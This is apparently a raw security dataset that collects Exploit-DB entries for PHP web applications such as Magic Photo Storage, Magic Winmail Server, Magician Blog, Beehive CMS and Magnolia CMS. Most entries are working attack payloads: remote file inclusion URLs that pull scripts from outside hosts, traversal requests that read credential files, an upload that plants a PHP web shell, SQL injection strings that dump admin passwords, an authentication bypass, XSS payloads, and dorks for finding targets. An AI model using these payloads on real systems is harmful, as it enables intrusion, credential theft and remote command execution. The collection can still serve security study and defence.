deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29424
Description: Magic Photo Storage Website - '/user/couple_profile.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                 
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/couple_profile.php?_config[site_path]=http://www.example2.com
Exploit-DB #29425
Description: Magic Photo Storage Website - '/user/delete_category.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                  
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/delete_category.php?_config[site_path]=http://www.example2.com
Exploit-DB #29426
Description: Magic Photo Storage Website - '/user/index.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                   
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/index.php?_config[site_path]=http://www.example2.com
Exploit-DB #29427
Description: Magic Photo Storage Website - '/user/login.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                    
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/login.php?_config[site_path]=http://www.example2.com
Exploit-DB #29428
Description: Magic Photo Storage Website - '/user/logout.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                     
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/logout.php?_config[site_path]=http://www.example2.com
Exploit-DB #29429
Description: Magic Photo Storage Website - '/user/register.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                      
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/register.php?_config[site_path]=http://www.example2.com
Exploit-DB #29430
Description: Magic Photo Storage Website - '/user/upload_photo.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                       
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/upload_photo.php?_config[site_path]=http://www.example2.com
Exploit-DB #29431
Description: Magic Photo Storage Website - '/user/user_catelog_password.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                        
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_catelog_password.php?_config[site_path]=http://www.example2.com
Exploit-DB #29432
Description: Magic Photo Storage Website - '/user/user_email.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                         
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_email.php?_config[site_path]=http://www.example2.com
Exploit-DB #29433
Description: Magic Photo Storage Website - '/user/user_extend.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                          
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_extend.php?_config[site_path]=http://www.example2.com
Exploit-DB #29434
Description: Magic Photo Storage Website - '/user/user_membership_password.php?_config[site_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21965/info
                           
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_membership_password.php?_config[site_path]=http://www.example2.com
Exploit-DB #3100
Description: Magic Photo Storage Website - '_config[site_path]' File Inclusion
Type: webapps
Platform: php
Date: 2007-01-08
Author: k1tk4t

Exploit:
########################################################################
# magic photo storage website -- Remote File Inclusion
# Vendor         : http://www.scriptaty.net/magic-photo-storage-website.html
# Demo Site      : http://www.turnkeydemos.info/demo/picstorage/
# Found By       : k1tk4t - k1tk4t[4t]newhack.org
# Location       : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
file;
common_function.php

bug;
require_once $_config['site_path'] . '/class/session.class.php';
require_once $_config['site_path'] . '/class/validator.class.php';
require_once $_config['site_path'] . '/include/message.php';
########################################################################
exploit;
http://localhost/include/common_function.php?_config[site_path]=http://shell
########################################################################
Dork;
allinurl:catalog_login.php
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
[mR]opt1lc,VaL,y3dips,lirva32,the_day,K-159
evilcode,illibero,NoGe,nyubi,x-ace,ghoz,
home_edition2001,matdhule,iFX,fusion
and for all(friend's&enemy)
@irc.dal.net
#newhack[dot]org [all member&staff]
#e-c-h-o [all member echo community]
#asiahacker [all member asiahacker community]
#nyubicrew [all member solpotcrew community] <-- at irc.komp-uter.org

# milw0rm.com [2007-01-08]
Exploit-DB #12226
Description: Magic Uploader Mini - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-14
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Magic Uploader Mini Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : http://dl.p30vel.ir/scripts/miniuploader.zip                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : upload                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/miniuploader/index.php (Use Tamper Data)
 
 2 - http://127.0.0.1/miniuploader/uploads/ (File Name)


Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #25064
Description: Magic Winmail Server 4.0 (Build 1112) - 'download.php' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-01-27
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/12388/info

Magic Winmail Server is reportedly affected by multiple vulnerabilities.

There are two distinct directory traversal vulnerabilities in the Webmail interface allowing both arbitrary file downloads and uploads. There is also a HTML injection vulnerability in the Webmail interface that could lead to the theft of the administrator's session cookie.

There are several directory traversal vulnerabilities in the IMAP service commands which could permit a malicious user to read arbitrary emails, create or delete arbitrary files on the server and possibly retrieve arbitrary files from the server.

Magic Winmail Server's FTP service also reportedly fails to properly verify the IP address supplied by a user in a PORT command.

Magic Winmail Server version 4.0 (Build 1112) is reportedly affected by these issues; earlier versions may also be vulnerable. 

http://www.example.com:6080/download.php?
sid=656041e927559a2ff& // this must be the current session id
tid=0&folder=INBOX&ix=0&part=1&optype=download&type=nonmime&filename=Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw==

// Note Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw== is the base64 encoding of /../../../../userauth.cfg

http://www.example.com:6080/download.php?
sid=656041e927559a2ff&
tid=0&folder=INBOX&ix=0&part=1&optype=download&cache=1&filename=/../../../../userauth.cfg
Exploit-DB #25065
Description: Magic Winmail Server 4.0 (Build 1112) - 'upload.php' Traversal Arbitrary File Upload
Type: webapps
Platform: php
Date: 2005-01-27
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/12388/info
 
Magic Winmail Server is reportedly affected by multiple vulnerabilities.
 
There are two distinct directory traversal vulnerabilities in the Webmail interface allowing both arbitrary file downloads and uploads. There is also a HTML injection vulnerability in the Webmail interface that could lead to the theft of the administrator's session cookie.
 
There are several directory traversal vulnerabilities in the IMAP service commands which could permit a malicious user to read arbitrary emails, create or delete arbitrary files on the server and possibly retrieve arbitrary files from the server.
 
Magic Winmail Server's FTP service also reportedly fails to properly verify the IP address supplied by a user in a PORT command.
 
Magic Winmail Server version 4.0 (Build 1112) is reportedly affected by these issues; earlier versions may also be vulnerable. 

----------------------------[PII_REDACTED]5651
Content-Disposition: form-data; name="userfile1"; filename="/../../../a.php"
Content-Type: application/download

<?php
system($_GET[cmd]);
?>
Exploit-DB #11235
Description: magic-portal 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-23
Author: alnjm33

Exploit:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title :magic-portal SQL injection Vulnerability
Author: alnjm33
Software Link:
Version:  2.1
Tested on: Version 2.1
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                        ( Powered by magic-portal Version 2.1 )
================================Exploit=============================================
http://server/home.php?id=-2/**/union/**/select/**/1,concat(username_admin,0x3a,password_admin),3,4/**/from/**/admin_log_cp--

=======================================================================================
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members
Exploit-DB #9282
Description: Magician Blog 1.0 - 'ids' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-27
Author: Evil-Cod3r

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                        

==============================================================================
        [Â»] ~ Note : Been Repoted The Programed
==============================================================================
        [Â»] Magician Blog <= 1.0 Remot SQL injection Valunrability
==============================================================================

    [Â»] Script:             [ Magician v1.0 ]
    [Â»] Language:           [ PHP ]
    [Â»] home:               [ www.4smart.net ]
    [Â»] Founder:            [ Evil-Cod3r <IE7@Windowslive.com - o41@hotmail.Com> ]
    [Â»] Gr44tz to:          [ Recru1t Qabandi - Sniper Code - Mr.SaFa7 - The g0bL!N - S4S-T3rr0ist ]
    [Â»] Dork:               [ "Powered By 4smart" ]
    [Â»] Price:              [ $300 But i Scanned The Nulled !! ]

###########################################################################

===[ Exploit SQL  ]===  
  
    [Â»] http://www.Site.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--
    [Â»] Note : if you want mail list this is a table [ maillist ] the column > [email] and show mail list

  

===[ Live Demo ]===  

        [Â»] http://www.aloamman.com/
       

Author: Evil-Cod3r <-

###########################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #9283
Description: Magician Blog 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-27
Author: Evil-Cod3r

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                        

==============================================================================
        [Â»] ~ Note : Been Repoted The Programed
==============================================================================
        [Â»] Magician Blog <= 1.0 (Auth Bypass) SQL injection Valunrability
==============================================================================

    [Â»] Script:             [ Magician v1.0 ]
    [Â»] Language:           [ PHP ]
    [Â»] home:               [ www.4smart.net ]
    [Â»] Founder:            [ Evil-Cod3r <IE7@Windowslive.com - o41@hotmail.Com> ]
    [Â»] Gr44tz to:          [ Recru1t Qabandi - Sniper Code - Mr.SaFa7 - The g0bL!N - S4S-T3rr0ist ]
    [Â»] Dork:               [ "Powered By 4smart" ]
    [Â»] Price:              [ $300 But i Scanned The Nulled !! ]

###########################################################################

You Need magic_quotes_gpc = off

===[ Exploit SQL  ]===  
  
    [Â»] http://www.Site.com/path/admin
    [Â»] Exploit :
    First : 'or 1=1 or '  & or & 'or 1=1/*
 

Author: Evil-Cod3r <-

###########################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #25285
Description: MagicScripts E-Store Kit-2 PayPal Edition - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/12909/info

MagicScripts E-Store Kit-2 PayPal Edition is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/demo/ms-pe02/downloadform.php?txn_id="><script>alert(document.cookie)</script>
Exploit-DB #25286
Description: MagicScripts E-Store Kit-2 PayPal Edition - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/12910/info

MagicScripts E-Store Kit-2 PayPal Edition is prone to a remote file include vulnerability.

Remote attackers could potentially exploit this issue to include a remote malicious PHP script. If the attacker is able to execute the remote script it would execute in the context of the Web server hosting the vulnerable application. 

http://www.magicscripts.com/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=http://whatismyip.com&menu=http://whatismyip.com
Exploit-DB #1951
Description: MagNet BeeHive CMS (header) - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-25
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
Beehive CMS ([header]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Beehive CMS
version : latest version
URL : http://products.magnet-i.com/show/beehive/

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $header not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/conad/include/rootGui.inc.php?header=[evil_script]
# http://www.site.com/[path]/conad/changeEmail.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/changeUserDetails.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/checkPasswd.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/login.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/conad/logout.inc.php?mysqlCall=[evil_script]
# http://www.site.com/[path]/include/listall.inc.php?mysqlcall=[evil_script]
# http://www.site.com/[path]/show/index.php?prefix=[evil_script]
# http://www.site.com/[path]/conad/include/mysqlCall.inc.php?config=[evil_script]
# http://www.site.com/[path]/include/rootGui.inc.php?header=[evil_script]

---------------------------------------------------------------------------


Solution :
~~~~~~~~~~

declare variabel $header
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~
Nick: Kw3rLN
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-25]
Exploit-DB #38675
Description: Magnolia CMS - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-24
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/61423/info

Magnolia CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Magnolia CMS versions 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 are vulnerable.

<form action="http://www.example.com/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>